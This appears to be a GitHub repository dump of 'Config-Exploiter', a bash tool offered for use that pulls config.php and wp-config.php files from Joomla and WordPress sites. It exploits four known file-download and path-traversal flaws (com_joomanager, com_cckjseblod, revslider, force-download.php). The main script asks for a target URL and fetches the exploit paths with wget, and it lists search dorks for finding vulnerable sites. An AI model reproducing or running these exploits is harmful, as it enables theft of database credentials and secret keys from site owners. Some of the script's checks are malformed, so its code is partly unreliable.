├── LICENSE.md
├── README.md
├── Screenshots
├── conf.png
├── config1.png
├── config2.png
├── config3.png
├── config5.png
└── config6.png
├── config-exploiter.sh
└── install.sh
/LICENSE.md:
--------------------------------------------------------------------------------
1 | The MIT License (MIT) THIS TOOL IS ONLY FOR EDUCATIONAL PURPOSES ONLY Copyright (c) 2018 Belahsan Ouerghi
2 |
3 | Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
4 |
5 | The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
6 |
7 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
8 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Config-Exploiter
2 | Config-Exploiter : dump config.php File From Joomla And Wordpress Websites Programmed By Belahsan Ouerghi .
3 | 
4 | # Installation
5 | ```
6 | sudo apt-get install git
7 | git clone https://github.com/TunisianEagles/Config-Exploiter.git
8 | cd Config-Exploiter
9 | chmod +x install.sh
10 | sudo ./install.sh
11 | chmod +x config-exploiter.sh
12 | ./config-exploiter.sh
13 | ```
14 | # Tutorial
15 | https://www.youtube.com/watch?v=tCxPJtGUlPw
16 | # Exploits
17 | * Joomla : com_joomanager & com_cckjseblod
18 | * Wordpress : revslider & Force File Download
19 | # Tested On
20 | * Backbox linux
21 | * Ubuntu
22 | # Contact
23 | * [Contact](https://www.facebook.com/ouerghi.belahsan) - Belahsan Ouerghi
24 |
25 | # Screenshots
26 | 
27 | 
28 | 
29 | #
30 | * The author does not hold any responsibility for the bad use of this tool, remember that attacking targets without prior consent is illegal and punished by law.
31 |
--------------------------------------------------------------------------------
/Screenshots/conf.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Cyb0r9/Config-Exploiter/78c032df433f398427a1594b33e1db8400fd3bf5/Screenshots/conf.png
--------------------------------------------------------------------------------
/Screenshots/config1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Cyb0r9/Config-Exploiter/78c032df433f398427a1594b33e1db8400fd3bf5/Screenshots/config1.png
--------------------------------------------------------------------------------
/Screenshots/config2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Cyb0r9/Config-Exploiter/78c032df433f398427a1594b33e1db8400fd3bf5/Screenshots/config2.png
--------------------------------------------------------------------------------
/Screenshots/config3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Cyb0r9/Config-Exploiter/78c032df433f398427a1594b33e1db8400fd3bf5/Screenshots/config3.png
--------------------------------------------------------------------------------
/Screenshots/config5.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Cyb0r9/Config-Exploiter/78c032df433f398427a1594b33e1db8400fd3bf5/Screenshots/config5.png
--------------------------------------------------------------------------------
/Screenshots/config6.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Cyb0r9/Config-Exploiter/78c032df433f398427a1594b33e1db8400fd3bf5/Screenshots/config6.png
--------------------------------------------------------------------------------
/config-exploiter.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | #Colors
3 | n="1"
4 | n2="2"
5 | n3="3"
6 | n99="99"
7 | h="HTTPS"
8 | white="\033[1;37m"
9 | grey="\033[0;37m"
10 | purple="\033[0;35m"
11 | red="\033[1;31m"
12 | green="\033[1;32m"
13 | yellow="\033[1;33m"
14 | Purple="\033[0;35m"
15 | Cyan="\033[0;36m"
16 | Cafe="\033[0;33m"
17 | Fiuscha="\033[0;35m"
18 | blue="\033[1;34m"
19 | redback=" \e[41m"
20 | greenback="\e[42m"
21 | nc="\e[0m"
22 | #Banner
23 | clear
24 | echo -e "$Cyan ___ __ __ _ ____ __ ___ $nc"
25 | echo -e "$Cyan / __) / \ ( ( \( __) ( ) / __) $nc"
26 | echo -e "$Cyan( (__ ( O )/ / ) _) )( ( (_ \ $nc"
27 | echo -e "$Cyan \___) \__/ \_)__)(__) (__) \___/ $nc"
28 | echo -e "$Cyan ____ _ _ ____ __ __ __ ____ ____ ____ $nc"
29 | echo -e "$Cyan ( __)( \/ )( _ \( ) / \ ( ) (_ _)( __)( _ \ $nc"
30 | echo -e "$Cyan ) _) ) ( ) __// (_/\( O ) )( )( ) _) ) / $nc"
31 | echo -e "$Cyan (____)(_/\_)(__) \____/ \__/ (__) (__) (____)(__\_) $nc"
32 | echo ""
33 | echo ""
34 | echo -e " $Cafe┌─────────────────────────────────┐$nc"
35 | echo -e " $Cafe│$nc$green Programmed By $nc:$red Belahsan Ouerghi$Cafe│$nc"
36 | echo -e " $Cafe└─────────────────────────────────┘$nc"
37 | echo ""
38 | echo ""
39 | echo -e " $red[$green$n$red] $nc Jommla config file Download vulnerability "
40 | echo -e " $red[$green$n2$red]$nc Wordpress config file Download vulnerability "
41 | echo -e " $red[$green$n99$red]$nc Exit "
42 | echo ""
43 | read -p "$(echo -e $red[$nc$green+$nc$red]$nc) Enter Your Choice : " ch
44 | if [ $ch = "1" ]; then
45 | echo ""
46 | echo -e " $red[$green$n$red]$nc com_joomanager"
47 | echo -e " $red[$green$n2$red]$nc com_cckjseblod"
48 | echo -e " $red[$green$n3$red]$nc Back To Main Menu"
49 | echo -e " $red[$green$n99$red]$nc Exit"
50 | echo ""
51 | read -p "$(echo -e $red[$nc$green+$nc$red]$nc) Enter Your Choice : " ch2
52 | if [ $ch2 = "1" ]; then
53 | #com_joomanager
54 | clear
55 | echo -e " $Cafe┌───────────────────────────────────────────────────────┐$nc"
56 | echo -e " $Cafe│$nc$Cyan _________ _______ _______ _______ _ _______ $Cafe│$nc"
57 | echo -e " $Cafe│$nc$Cyan \__ _/( ___ )( ___ )( )( \ ( ___ )$Cafe│$nc"
58 | echo -e " $Cafe│$nc$Cyan ) ( | ( ) || ( ) || () () || ( | ( ) |$Cafe│$nc"
59 | echo -e " $Cafe│$nc$Cyan | | | | | || | | || || || || | | (___) |$Cafe│$nc"
60 | echo -e " $Cafe│$nc$Cyan | | | | | || | | || |(_)| || | | ___ |$Cafe│$nc"
61 | echo -e " $Cafe│$nc$Cyan | | | | | || | | || | | || | | ( ) |$Cafe│$nc"
62 | echo -e " $Cafe│$nc$Cyan |\_) ) | (___) || (___) || ) ( || (____/\| ) ( |$Cafe│$nc"
63 | echo -e " $Cafe│$nc$Cyan (____/ (_______)(_______)|/ \|(_______/|/ \|$Cafe│$nc"
64 | echo -e " $Cafe└───────────────────────────────────────────────────────┘$nc"
65 | echo -e " $Cafe┌──────────────────────────────────────────────────────────┐"
66 | echo -e " $Cafe│$nc$green Exploit Title$nc :$red Joomla Config File Download Vulnerability$nc$Cafe│$nc"
67 | echo -e " $Cafe│$nc$green We Are$nc :$red Tunisian Eagles$nc $Cafe│$nc"
68 | echo -e " $Cafe│$nc$green Home$nc :$red github.com/TunisianEagles$nc $Cafe│$nc"
69 | echo -e " $Cafe│$nc$green Tested on$nc :$red Backbox linux$nc $Cafe│$nc"
70 | echo -e " $Cafe│──────────────────────────────────────────────────────────$Cafe│$nc"
71 | echo -e " $Cafe│$nc$green Dork$nc :$red inurl:'index.php?option=com_joomanager'$nc $Cafe│$nc"
72 | echo -e " $Cafe│─────────────────────────────────────────────────────────────────────────────────────────────────────────┐"
73 | echo -e " $Cafe│$nc$green Exploit$nc :$red /index.php?option=com_joomanager&controller=details&task=download&path=configuration.php$nc$Cafe│$nc"
74 | echo -e " $Cafe│─────────────────────────────────────────────────────────────────────────────────────────────────────────┘"
75 | echo -e " $Cafe│$nc$green Coded By$nc : $red Belahsan Ouerghi$nc $Cafe│$nc"
76 | echo -e " $Cafe└──────────────────────────────────────────────────────────┘"
77 | read -p " $(echo -e $red[$nc$green+$nc$red]$nc) Enter Target URL $(echo -e $red[$nc without$green HTTP$nc/$green$h$red ]$nc) : " urlq
78 | if [ $urlq -ne ]; then
79 | echo -e " $red[$green+$nc$red]$nc$redback 404 Not Found, Exit$nc"
80 | else
81 | wget "$urlq/index.php?option=com_joomanager&controller=details&task=download&path=configuration.php" -O $urlq
82 | echo -e " $red[$green+$nc$red]$nc$redback Config File Saved As ($urlq)$nc"
83 | fi
84 | elif [ $ch2 = "2" ]; then
85 | #com_cckjseblod
86 | clear
87 | echo -e " $Cafe┌───────────────────────────────────────────────────────┐$nc"
88 | echo -e " $Cafe│$nc$Cyan _________ _______ _______ _______ _ _______ $Cafe│$nc"
89 | echo -e " $Cafe│$nc$Cyan \__ _/( ___ )( ___ )( )( \ ( ___ )$Cafe│$nc"
90 | echo -e " $Cafe│$nc$Cyan ) ( | ( ) || ( ) || () () || ( | ( ) |$Cafe│$nc"
91 | echo -e " $Cafe│$nc$Cyan | | | | | || | | || || || || | | (___) |$Cafe│$nc"
92 | echo -e " $Cafe│$nc$Cyan | | | | | || | | || |(_)| || | | ___ |$Cafe│$nc"
93 | echo -e " $Cafe│$nc$Cyan | | | | | || | | || | | || | | ( ) |$Cafe│$nc"
94 | echo -e " $Cafe│$nc$Cyan |\_) ) | (___) || (___) || ) ( || (____/\| ) ( |$Cafe│$nc"
95 | echo -e " $Cafe│$nc$Cyan (____/ (_______)(_______)|/ \|(_______/|/ \|$Cafe│$nc"
96 | echo -e " $Cafe└───────────────────────────────────────────────────────┘$nc"
97 | echo -e " $Cafe┌──────────────────────────────────────────────────────────┐"
98 | echo -e " $Cafe│$nc$green Exploit Title$nc :$red Joomla Config File Download Vulnerability$nc$Cafe│$nc"
99 | echo -e " $Cafe│$nc$green We Are$nc :$red Tunisian Eagles$nc $Cafe│$nc"
100 | echo -e " $Cafe│$nc$green Home$nc :$red github.com/TunisianEagles$nc $Cafe│$nc"
101 | echo -e " $Cafe│$nc$green Tested on$nc :$red Backbox linux$nc $Cafe│$nc"
102 | echo -e " $Cafe│──────────────────────────────────────────────────────────$Cafe│$nc"
103 | echo -e " $Cafe│$nc$green Dork$nc :$red inurl:option=com_cckjseblod$nc $Cafe│$nc"
104 | echo -e " $Cafe│──────────────────────────────────────────────────────────────────────────────────────┐"
105 | echo -e " $Cafe│$nc$green Exploit$nc :$red /index.php?option=com_cckjseblod&task=download&file=configuration.php$nc$Cafe│$nc"
106 | echo -e " $Cafe│──────────────────────────────────────────────────────────────────────────────────────┘"
107 | echo -e " $Cafe│$nc$green Coded By$nc : $red Belahsan Ouerghi$nc $Cafe│$nc"
108 | echo -e " $Cafe│──────────────────────────────────────────────────────────│"
109 | echo -e " $Cafe│$nc$green Contact $nc :$red fb.com/ouerghi.belahsan $Cafe│$nc"
110 | echo -e " $Cafe└──────────────────────────────────────────────────────────$Cafe┘$nc"
111 | read -p " $(echo -e $red[$nc$green+$nc$red]$nc) Enter Target URL $(echo -e $red[$nc without$green HTTP$nc/$green$h$red ]$nc) : " url
112 | if [ $url -ne ]; then
113 | echo -e " $red[$green+$nc$red]$nc$redback 404 Not Found, Exit$nc"
114 | else
115 | wget "$url/index.php?option=com_cckjseblod&task=download&file=configuration.php" -O $url
116 | echo -e " $red[$green+$nc$red]$nc$redback Config File Saved As ($url)$nc"
117 | fi
118 | elif [ $ch2 = "3" ]; then
119 | clear
120 | bash config-exploiter.sh
121 | elif [ $ch2 = "99" ]; then
122 | echo ""
123 | echo -e " $red[$green-$red]$nc$yellow Exit $nc. "
124 | echo ""
125 | exit 1
126 | fi
127 | elif [ $ch = 2 ]; then
128 | echo ""
129 | echo -e " $red[$green$n$red]$nc revslider"
130 | echo -e " $red[$green$n2$red]$nc Force File Download"
131 | echo -e " $red[$green$n3$red]$nc Back To Main Menu"
132 | echo -e " $red[$green$n99$red]$nc Exit"
133 | echo ""
134 | read -p "$(echo -e $red[$nc$green+$nc$red]$nc) Enter Your Choice : " ch3
135 | if [ $ch3 = "1" ]; then
136 | #reslvider
137 | clear
138 | echo -e " $Cafe┌──────────────────────────────────────────────────────────────────────────────────┐"
139 | echo -e " $Cafe│$nc$Cyan _______ _______ ______ _______ _______ _______ _______ _______ $nc$Cafe│$nc"
140 | echo -e " $Cafe│$nc$Cyan|\ /|( ___ )( ____ )( __ \ ( ____ )( ____ )( ____ \( ____ \( ____ \ $nc$Cafe│$nc"
141 | echo -e " $Cafe│$nc$Cyan| ) ( || ( ) || ( )|| ( \ )| ( )|| ( )|| ( \/| ( \/| ( \/ $nc$Cafe│$nc"
142 | echo -e " $Cafe│$nc$Cyan| | _ | || | | || (____)|| | ) || (____)|| (____)|| (__ | (_____ | (_____ $nc$Cafe│$nc"
143 | echo -e " $Cafe│$nc$Cyan| |( )| || | | || __)| | | || _____)| __)| __) (_____ )(_____ ) $nc$Cafe│$nc"
144 | echo -e " $Cafe│$nc$Cyan| || || || | | || (\ ( | | ) || ( | (\ ( | ( ) | ) | $nc$Cafe│$nc"
145 | echo -e " $Cafe│$nc$Cyan| () () || (___) || ) \ \__| (__/ )| ) | ) \ \__| (____/\/\____) |/\____) | $nc$Cafe│$nc"
146 | echo -e " $Cafe│$nc$Cyan(_______)(_______)|/ \__/(______/ |/ |/ \__/(_______/\_______)\_______) $nc$Cafe│$nc"
147 | echo -e " $Cafe└──────────────────────────────────────────────────────────────────────────────────┘$nc"
148 | echo -e " $Cafe┌────────────────────────────────────────────────────────────────┐"
149 | echo -e " $Cafe│$nc$green Exploit Title$nc :$red WordPress Arbitrary File Download vulnerability$Cafe│$nc"
150 | echo -e " $Cafe│$nc$green We Are$nc :$red Tunisian Eagles $Cafe│$nc"
151 | echo -e " $Cafe│$nc$green Home$nc :$red github.com/TunisianEagles $Cafe│$nc"
152 | echo -e " $Cafe│$nc$green Tested on$nc :$red Backbox linux $Cafe│$nc"
153 | echo -e " $Cafe│────────────────────────────────────────────────────────────────$Cafe│$nc"
154 | echo -e " $Cafe│$nc$green Dork$nc :$red inurl:/wp-content/plugins/revslider/ $Cafe│$nc"
155 | echo -e " $Cafe│$nc$green Dork$nc :$red revslider.php 'index of $Cafe│$nc"
156 | echo -e " $Cafe│──────────────────────────────────────────────────────────────────────────────────────┐"
157 | echo -e " $Cafe│$nc$green Exploit$nc :$red /admin-ajax.php?action=revslider_show_image&img=../wp-config.php $Cafe│$nc"
158 | echo -e " $Cafe│──────────────────────────────────────────────────────────────────────────────────────┘"
159 | echo -e " $Cafe│$nc$green Coded By$nc :$red Belahsan Ouerghi $Cafe│$nc"
160 | echo -e " $Cafe│────────────────────────────────────────────────────────────────│$nc"
161 | echo -e " $Cafe│$nc$green Contact $nc :$red fb.com/ouerghi.belahsan $Cafe│$nc"
162 | echo -e " $Cafe└────────────────────────────────────────────────────────────────$Cafe┘$nc"
163 |
164 | read -p " $(echo -e $red[$nc$green+$nc$red]$nc) Enter Target URL $(echo -e $red[$nc without$green HTTP$nc/$green$h$red ]$nc) : " urla
165 | if [ $urla -ne ]; then
166 | echo -e " $red[$green+$nc$red]$nc$redback 404 Not Found, Exit$nc"
167 | else
168 | wget "$urla/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php" -O $urla
169 | echo -e " $red[$green+$nc$red]$nc$redback Config File Saved As $urla$nc"
170 | fi
171 | elif [ $ch3 = "2" ]; then
172 | #"exploit 2
173 | clear
174 | echo -e " $Cafe┌──────────────────────────────────────────────────────────────────────────────────┐"
175 | echo -e " $Cafe│$nc$Cyan _______ _______ ______ _______ _______ _______ _______ _______ $nc$Cafe│$nc"
176 | echo -e " $Cafe│$nc$Cyan|\ /|( ___ )( ____ )( __ \ ( ____ )( ____ )( ____ \( ____ \( ____ \ $nc$Cafe│$nc"
177 | echo -e " $Cafe│$nc$Cyan| ) ( || ( ) || ( )|| ( \ )| ( )|| ( )|| ( \/| ( \/| ( \/ $nc$Cafe│$nc"
178 | echo -e " $Cafe│$nc$Cyan| | _ | || | | || (____)|| | ) || (____)|| (____)|| (__ | (_____ | (_____ $nc$Cafe│$nc"
179 | echo -e " $Cafe│$nc$Cyan| |( )| || | | || __)| | | || _____)| __)| __) (_____ )(_____ ) $nc$Cafe│$nc"
180 | echo -e " $Cafe│$nc$Cyan| || || || | | || (\ ( | | ) || ( | (\ ( | ( ) | ) | $nc$Cafe│$nc"
181 | echo -e " $Cafe│$nc$Cyan| () () || (___) || ) \ \__| (__/ )| ) | ) \ \__| (____/\/\____) |/\____) | $nc$Cafe│$nc"
182 | echo -e " $Cafe│$nc$Cyan(_______)(_______)|/ \__/(______/ |/ |/ \__/(_______/\_______)\_______) $nc$Cafe│$nc"
183 | echo -e " $Cafe└──────────────────────────────────────────────────────────────────────────────────┘$nc"
184 | echo -e " $Cafe┌────────────────────────────────────────────────────────────────┐"
185 | echo -e " $Cafe│$nc$green Exploit Title$nc :$red WordPress force File Download vulnerability $Cafe│$nc"
186 | echo -e " $Cafe│$nc$green We Are$nc :$red Tunisian Eagles $Cafe│$nc"
187 | echo -e " $Cafe│$nc$green Home$nc :$red github.com/TunisianEagles $Cafe│$nc"
188 | echo -e " $Cafe│$nc$green Tested on$nc :$red Backbox linux $Cafe│$nc"
189 | echo -e " $Cafe│────────────────────────────────────────────────────────────────$Cafe│$nc"
190 | echo -e " $Cafe│$nc$green Dork$nc :$red inurl:force-download.php?file=wp-content/uploads$Cafe────────┐$nc"
191 | echo -e " $Cafe│$nc$green Dork$nc :$red inurl:wp-content/uploads inurl:force-download.php?file= $Cafe│$nc"
192 | echo -e " $Cafe│─────────────────────────────────────────────────────────────────────────┘────────────┐"
193 | echo -e " $Cafe│$nc$green Exploit$nc :$red /force-download.php?file=wp-config.php $Cafe│$nc"
194 | echo -e " $Cafe│──────────────────────────────────────────────────────────────────────────────────────┘"
195 | echo -e " $Cafe│$nc$green Coded By$nc :$red Belahsan Ouerghi $Cafe│$nc"
196 | echo -e " $Cafe│────────────────────────────────────────────────────────────────│$nc"
197 | echo -e " $Cafe│$nc$green Contact $nc :$red fb.com/ouerghi.belahsan $Cafe│$nc"
198 | echo -e " $Cafe└────────────────────────────────────────────────────────────────$Cafe┘$nc"
199 | read -p " $(echo -e $red[$nc$green+$nc$red]$nc) Enter Target URL $(echo -e $red[$nc without$green HTTP$nc/$green$h$red ]$nc) : " urld
200 | if [ $urld -ne ]; then
201 | echo -e " $red[$green+$nc$red]$nc$redback 404 Not Found, Exit$nc"
202 | else
203 | wget "$urld/force-download.php?file=wp-config.php" -O $urld
204 | echo -e " $red[$green+$nc$red]$nc$redback Config File Saved As $urla$nc"
205 | fi
206 | elif [ $ch3 = "3" ]; then
207 | clear
208 | bash config-exploiter.sh
209 | elif [ $ch3 = "99" ]; then
210 | echo ""
211 | echo -e " $red[$green-$red]$nc$yellow Exit $nc. "
212 | echo ""
213 | exit 1
214 | fi
215 | elif [ $ch = "99" ]; then
216 | echo ""
217 | echo -e " $red[$green-$red]$nc$yellow Exit $nc. "
218 | echo ""
219 | exit 1
220 | fi
221 |
--------------------------------------------------------------------------------
/install.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | #Colors
3 | white="\033[1;37m"
4 | grey="\033[0;37m"
5 | purple="\033[0;35m"
6 | red="\033[1;31m"
7 | green="\033[1;32m"
8 | yellow="\033[1;33m"
9 | Purple="\033[0;35m"
10 | Cyan="\033[0;36m"
11 | Cafe="\033[0;33m"
12 | Fiuscha="\033[0;35m"
13 | blue="\033[1;34m"
14 | nc="\e[0m"
15 | #ROOT PRIVILEGIES
16 | if [[ $EUID -ne 0 ]]; then
17 | echo -e "$red You don't have Root privilegies, execute the script as root.$nc"
18 | exit 1
19 | fi
20 | #Uupdate
21 | sudo apt-get update
22 | #bash
23 | if which bash >/dev/null; then
24 | sleep 0.25
25 | echo -e "$nc[$green BASH $nc] Installed [$green✓$nc]"
26 | else
27 | sleep 0.25
28 | echo -e "$$nc[$green BASH $nc] Not Installed [$red✗$nc]"
29 | sleep 1
30 | echo "Install Bash "
31 | sudo apt-get install bash
32 | fi
33 | #curl
34 | if which curl >/dev/null; then
35 | sleep 0.25
36 | echo -e "$nc[$green CURL $nc] Installed [$green✓$nc]"
37 | else
38 | sleep 0.25
39 | echo -e "$nc[$green CURL $nc] Not Installed [$red✗$nc]"
40 | sleep 1
41 | echo "Install curl "
42 | sudo apt-get install curl
43 | fi
44 | #wget
45 | if which wget >/dev/null; then
46 | sleep 0.25
47 | echo -e "[$green WGET $nc] Installed [$green✓$nc]"
48 | else
49 | sleep 0.25
50 | echo -e "[$green WGET $nc] Not Installed [$red✗$nc]"
51 | sleep 1
52 | echo "Install WGET "
53 | sudo apt-get install wget
54 | fi
55 | #git
56 | if which git >/dev/null; then
57 | sleep 0.25
58 | echo -e "[$green GIT $nc] Installed [$green✓$nc]"
59 | else
60 | sleep 0.25
61 | echo -e "[$green GIT $nc] Not Installed [$red✗$nc]"
62 | sleep 1
63 | echo "Install GIT "
64 | sudo apt-get install git
65 | fi
66 |
67 |
--------------------------------------------------------------------------------